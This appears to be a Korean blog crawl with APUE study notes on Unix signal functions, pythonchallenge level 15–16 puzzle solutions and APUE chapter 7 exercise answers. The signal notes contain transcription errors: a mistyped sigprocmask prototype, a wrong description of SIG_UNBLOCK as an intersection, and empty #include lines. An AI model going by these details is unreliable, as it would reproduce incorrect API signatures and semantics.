    신호 집합을 사용하는 응용프로그램은 반드시 신호 집합을 사용하기 전에 sigemptyset이나
    sigfillset을 호출해서 신호 집합을 초기화 해야 한다. sigaddset 함수는 하나의 신호를 기존 집합에
    추가하고, sigdelset 함수는 하나의 신호를 제거한다.

    sigprocmask 함수

    프로세스의 신호 마스크는 프로세스에 대한 전달이 현재 차단되어 있는 신호들을 나타낸다.
    프로세스는 자신의 신호 마스크를 조회 하거나, 수정하거나, 조회와 수정을 한번에  모두
    수행할 수 있다.
   
    #include <signal.h>
    int sigprocmask(int how, const sigset_t *restrict set, sigset_t *sigset_t *restrict oset);
    반환 값 : 성공 시 0, 오류 시 -1

    신호 마스크를 조회할 때는 oset 인수에 널 포인터가 아닌 포인터를 넣는다. 그러면 프로세스의
    현재 신호 마스크가  oset이 가리키는 곳에 설정된다.
    신호 마스크를 설정할 때에는 set 인수에 널 포인터가 아닌 포인터를 넣는다. 신호 마스크의
    구체적인 수정 방식은how 인수에 의해 결정된다.

    SIG_BLOCK    프로세스의 현재 신호 마스크와 set이 가리키는 신호 비합의 합집합이 프로세스의
                새 프로세스 마스크가 된다. 차단할 신호들을 추가할 때 유용하다.
    SIG_UNBLOCK    프로세스의 현재 신호 마스크와 set이 가리키는 신호 집합의 교집합이 프로세스의
                새 프로세스 마스크가 된다. 신호들의 차단을 해제할떄 유용하다.
    SIG_SETMASK    set이 가리키는 신호 집합의 값이 프로세스의 새 신호 마스크가 된다.

    set이 널 포인터이면 프로세스의 신호 마스크가 변하지 않으며 how는 무시된다.
    sigprocmask를 호출한 후 차단되지 않고 유보 중인 신호들이 존재하면, 신호들 중 적어도 하나가
    sigprocmask의 반환 전에 프로세스에 전달된다.
   
    sigpending 함수

    sigpending 함수는 호출한 프로세스에 대한 전달이 차단되어 있으며 현재 유보 중인 신호들의
    집합을 set 인수가 가리키는 곳에 저장한다.

    #include <signal.h>
    int sigpending(sigset_t *set);
    반환 값 : 성공 시 0, 오류 시 -1

    위의 함수들을 이용한 프로그램.

#include 
#include 

static void sig_quit(int);

int main(void)
{
    sigset_t    newmask, oldmask, pendmask;

    if (signal(SIGQUIT, sig_quit) == SIG_ERR)
        err_print("can`t catch SIGQUIT");

    //SIGQUIT 신호를 차단하고 현재 신호 마스크를 보존해둔다.

    sigemptyset(&newmask);  //signal을 비우고
    sigaddset(&newmask, SIGQUIT);  //SIGQUIT를 더하고
    if (sigprocmask(SIG_BLOCK, &newmask, &oldmask) < 0) // 추가한 SIGQUIT만 차단, oldmask로 보존 해 둔다
        err_print("SIG_BLOCK error");

    sleep(5);
    if (sigpending(&pendmask) < 0) // 현재 차단되고 유보중인 신호 집합을 pendmask로 저장
        err_print("sigpending error");

    if (sigismember(&pendmask, SIGQUIT)) //pendmask에 SIGQUIT가 있으면 출력
        printf("\nSIGQUIT pending\n");

    // 신호 마스크를 복원한다. (SIGQUIT 차단이 해제된다)

    if (sigprocmask(SIG_SETMASK, &oldmask, NULL) < 0)  // oldmask 를 복원한다.
        err_print("SIG_SETMASK error");

    printf("SIGQUIT unblocked\n");

    sleep(5); // 여기서 SIGQUIT에 의해 프로세스가 종료되고 코어 파일이 생성된다.

    exit(0);
}

static void sig_quit(int signo)
{
    printf("caught SIGQUIT\n");
    if (signal(SIGQUIT, SIG_DFL) == SIG_ERR)
        //SIG_DFL을 지정하면 신호 발생 시 신호의 기본 행동이 수행된다. 
        err_print("can`t reset SIGQUIT");
}


    sigaction 함수

    sigaction 함수는 특정 신호의 처분 방식을 조사하거나 설정하는 데 쓰인다.

    #include <signal.h>
    int sigaction(int signo, const struct sigaction *restrict act, struct sigaction *restrict oact);
    반환 값 : 성공 시 0, 오류 시 -1

    signo 인수는 처분 방식을 조사하거나 수정할 신호의 번호이다.
    신호 처분 방식을 설정할 때에는 act 인수에 널이 아닌 포인터를 넣어야 한다.
    그 포인터는 새 설정을 담은 구조체를 가리킨다. oact 인수에 널이 아닌 포인터를 지정하면,
    함수는 oact가 가리키는 곳에 이전의 신호 처분 방식을 저장한다.


    struct sigaction {
        void (*sa_handler)(int) /*신호 처리부의 주소*/
        sigset_t sa_mask    /*추가로 차단할 신호들 */
        int        sa_flags    /*신호 옵션들*/
        void(*sa_sigaction)(int, siginfo_t *, void *);
    };

    신호의 처분 방식을 변경하는 경우, act가 가리키는 구조체의 sa_handler 필드에는 신호 처리부의
    주소를 설정해야 한다. 그리고 sa_mask 필드에는 신호 처리부가 호출되기 전에 프로세스의 신호
    마스크에 추가될 신호들에 해당하는 값을 설정한다.

    신호 처리부가 반환 되면 그 시점에서
프로세스의 신호 마스크가 원래의 값으로 재설정된다.
    이를 통해서, 신호 처리부가 호출될 떄마다
특정한 신호들을 차단할 수 있다.
    신호 처리부가 호출될 때 운영체제는 전달되는 신호를 신호 마스크에
포함시킨다.
    따라서 한 신호를 처리하는 도중 같은 신호가 더 발생해도 첫 신호의 처리가 끝날 때까지는

    추가적인 신호들이 차단된다. 같은 신호가 여러번 발생해도 추가 발생들이 대기열에 쌓이는게 아니다.
    신호가 차단된 상태에서 신호가 다섯 번 더 발생해도, 신호의 차단을 해재했을 때 그 신호에 대한
    신호 처리부는 한번만 호출되는 것이 보통이다.

    sigaction 함수를 이용한 signal 함수를 구현.

#include 

Sigfunc *signal(int signo, Sigfunc *func)
{
    struct sigaction    act, oact;

    act.sa_handler = func;
    sigemptyset(&act.sa_mask);
    act.sa_flags = 0;

    if (signo == SIGALRM) {
#ifdef SA_INTERRUPT
        act.sa_flags |= SA_INTERRUPT;
#endif
    }
    else {
#ifdef SA_RESTART
        act.sa_flags |= SA_RESTART;
#endif
    }

    if (sigaction(signo, &act, &oact) < 0)
        return(SIG_ERR);
    return (oact.sa_handler);
}


     sigsuspend 함수

    신호 마스크를 재 설정하는 연산과 프로세스를 재우는 연산을 하나의 원자적인 연산으로
    수행할 수 있는 함수가 sigsuspend 이다

    #include <signal.h>
    int sigsuspend(const sigset_t *sigmask);
    반환 값 : -1, errno는 EINTR 로 설정됨

    이 함수를 호출하면 프로세스의 신호 마스크가 sigmask 가 가리키는 값으로 설정된다. 그런후 프로세스는
    어떠한 신호가 잡히거나 신호에 의해 프로세스가 종료될 때 까지 일시 정지된다.  신호가 잡히고 그것을
    처리한 신호 처리부가 반환되면 sigsuspend의 호출이 반환되어서 프로세스가 실행을 재개한다.
    이 때 프로세스 마스크는 sigsuspend 호출 이전의 값으로 재 설정된다.


'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
Advanced Programming in the Unix Environment  (0) 2009.12.02
APUE 7장 연습문제  (0) 2009.11.27
codegate 2009. hamburger  (0) 2009.08.14
linux socket source  (0) 2009.08.05
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux

pythonchallenge level16

2009. 12. 4. 08:09

http://www.pythonchallenge.com/pc/return/mozart.html

let me get this straight 라는 글귀와 그림 파일 하나가 덩그라니 있다.
이번엔 소스보기를 해도 별다른 힌트가 보이지 않는다.

어쩌라는 걸까 -_-

이젠 이미지를 보면 먼저 getpixel 로 비비게 된다.. 그런데 특이하게도 getpixel로 리턴되는 값이
RGB 형태가 아닌 그냥 숫자 하나 뿐이다. 왜 그런 것일까.

찾아보니 GIF 파일 포맷에서 사용하는 Indexed Color 때문이라는 것을 알 수 있었다.

장미님 블로그 Indexed Color에 대하여
http://blog.daum.net/ms1719/14382711
Indexed Color WIKIPEDIA http://en.wikipedia.org/wiki/Indexed_color

mozart.gif 파일을 크게 확대해보면 한 라인당 하나의 보라색 뭉텡이 들이 있는 것이 보인다.
getpixel 로 한줄 씩 읽어보니 각 라인마다 195라는 5개의 같은 값이 나타났다.

이 값들을 기준으로 정렬해보니 romance 라는 글자가 희미하게 보인다.
(나중에 안 사실이지만 좀 틀린 부분이 있었다-_-;;)

import Image

im =Image.open("mozart.gif")
im_new = Image.new('RGB',(640,480))

x = im.size[0]
y = im.size[1]

for j in range(y):
        for i in range(x):
                pix = im.getpixel((i,j))
                if pix == 195:
                        num = i
                        break
                
        for a in range(x):
                if num == x:
                        num = 0
                pix = im.getpixel((num,j))
                im_new.putpixel((a,j),pix)
                num += 1
        
im_new.save('result.gif')


http://www.pythonchallenge.com/pc/return/romance.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level 17  (1) 2010.10.27
pythonchallenge level 15  (0) 2009.12.03
pythonchallenge level14  (0) 2009.11.17
pythonchallenge level13  (0) 2009.10.22
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16

badcob War game/pythonchallenge

pythonchallenge level 15

2009. 12. 3. 17:33

http://www.pythonchallenge.com/pc/return/uzi.html

January 1xx6 이라고 써진 달력 그림이 있다.
그리고 월요일인 26일에 동그라미가 쳐져있다. 소스 보기를 하면 다음의 2가지 힌트가 보인다.

<!-- he ain't the youngest, he is the second -->
<!-- todo: buy flowers for tomorrow -->

calendar 모듈로 찾아보니 weekday 라는 메소드를 이용하면 될 듯 하다.


calendar.weekday(year, month, day)
    Returns the day of the week (0 is Monday) for year (1970–...), month (1–12), day (1–31).

그리고 달력 그림 아래쪽에 보이는 2월의 날짜가 29일 까지 있는 걸로 보인다. 윤년이라는
소리다. 따라서 1월 26일이 월요일인 1xx6년 중에서 윤년인 것만 필요하다.
아래의 코드를 실행하면 1176, 1356, 1576, 1756,1976 이 나온다.

힌트에서 보면 가장 어린게 아니고 2번째라고 했으니 1756년,
내일을 위해 꽃을 사야 한다고 했으니 -_-; 27일.

1756년 1월 27일로 검색해보면 모짜르트 탄신일 이라고 나온다 -_-;;
(처음엔 1월 26일로 검색했는데 어떤 사이트에서는 26일이 탄신일이라고 나온 곳도 있었다;)


import calendar

def get_the_day(mon,day,year):
    calendar.setfirstweekday(6)
    ret = calendar.weekday(year, mon, day)
    
    if ret == 0 and year % 4 == 0:
        calendar.prmonth(year,mon)

mon = 1
day = 26

for i in range(100):
    year = int('1%02d6' % i)
    get_the_day(mon,day,year)
 


http://www.pythonchallenge.com/pc/return/mozart.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level 17  (1) 2010.10.27
pythonchallenge level16  (0) 2009.12.04
pythonchallenge level14  (0) 2009.11.17
pythonchallenge level13  (0) 2009.10.22
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16

badcob War game/pythonchallenge

Advanced Programming in the Unix Environment

2009. 12. 2. 10:11
누군가가 좋은책이라고 추천해준 덕분에 읽어봐야지 하고 사두었던 책이다.
간단히 보고 넘어갈 생각이었는데 어떻게 하다보니 챕터를 하나씩 정리하게 되었다.
정리한걸 잠깐 훝어봤는데 정말 오타가 많다. 눈이 제대로 보이지 않는게 가장 큰 이유겠지만
노트북 자판을 손에 익힌다고 노트북에서 정리한게 크다. 이거 다 정리하다가는 12월달도
훌쩍 갈듯 싶어서 11장 까지만 할 생각이다;

굳이 이걸 올릴 필요는 없지만 왠지 나도 놀고 있지는 않았다고 말하고 싶은 마음에..





'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
about Signal  (0) 2009.12.09
APUE 7장 연습문제  (0) 2009.11.27
codegate 2009. hamburger  (0) 2009.08.14
linux socket source  (0) 2009.08.05
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux

APUE 7장 연습문제

2009. 11. 27. 10:30
연습문제 7.1) linux 에서 "hello, world"를 출력하고 exit 호출이나 return 문이 없을때
프로그램의 종지 상태echo $? 을 쳐보면 13인 것을 알수 있다. 왜그럴까.

Answer) printf의 반환값이 (출력한 문자 개수) main의 반환값이 된것으로 보인다. 
모든 시스템이 이런 행동을 보이는 것은 아니다.

7.3) main 이 어떤 함수를 호출한다고 하자.
a) main 이 그 함수에게 argc와 argv를 넘겨주지 않거나
b) main이 argc와 argv를 전역 변수로 복사하지 않았다고 해도,
그 함수가 명령줄 인수들에 접근하는 것이 가능할까?

Answer) 대부분의 UNIX 시스템들에서, 이는 붕가능하다.
environ 등과는 달리 argc와 argv의 복사본을 어떤 전역 변수들에 담아두지는 않기 때문이다.

아~ 그렇구나~.

7.4) 일부 UNIX 시스템 구현들은 프로그램 실행 시 자료 구역의 0번 위치에
프로세스가 접근하지 못하도록 메모리를 적절히 배치한다. 왜 그럴까?

Answer) 프로세스가 널 포인터를 역참조 해서 프로세스를 종료시키기 위한 것이다.

이건 뭔소리여..

7.7) size 명령의 출력에서 힙과 스택의 크기가 표시되지 않은 이유는 무엇일까?

Answer) exec류 함수들 중 하나로 프로그램이 실행되기 전까지는 할당되지 않는다.

7.10) 함수가 자신의 자동 변수를 가리키는 포인터를 돌려주어서는 안된다는 점을
이야기 한다. 아래 코드에는 문제가 없을까?

int f1(int val)
{
int *ptr;
             if ( val == 0 ) {
                    int val;
                    val = 5;
                    ptr = &val;
              }
              return (*ptr + 1);
}

Answer) 자동 정수 변수 val이 더 이상 존재하지 않게 된 후에도 포인터를 통해서 그 변수를
             참조한다는 문제를 가지고 있다. 하나의 복합문을 사랑하는 왼쪽 꺾음 괄호 이후에
             선언된 자동 변수는 해당 오른쪽 꺾음 괄호까지만 존재하고 그 이후에는 존재하지 않는다.

스택에 쓰면 이런 문제가 있으니깐..  static, extern 또는 malloc를 이용하라규

기본에 충실하고 있슴미.. 진도 참 안나간다.
눈만 잘보였어도..
                    






'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
about Signal  (0) 2009.12.09
Advanced Programming in the Unix Environment  (0) 2009.12.02
codegate 2009. hamburger  (0) 2009.08.14
linux socket source  (0) 2009.08.05
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux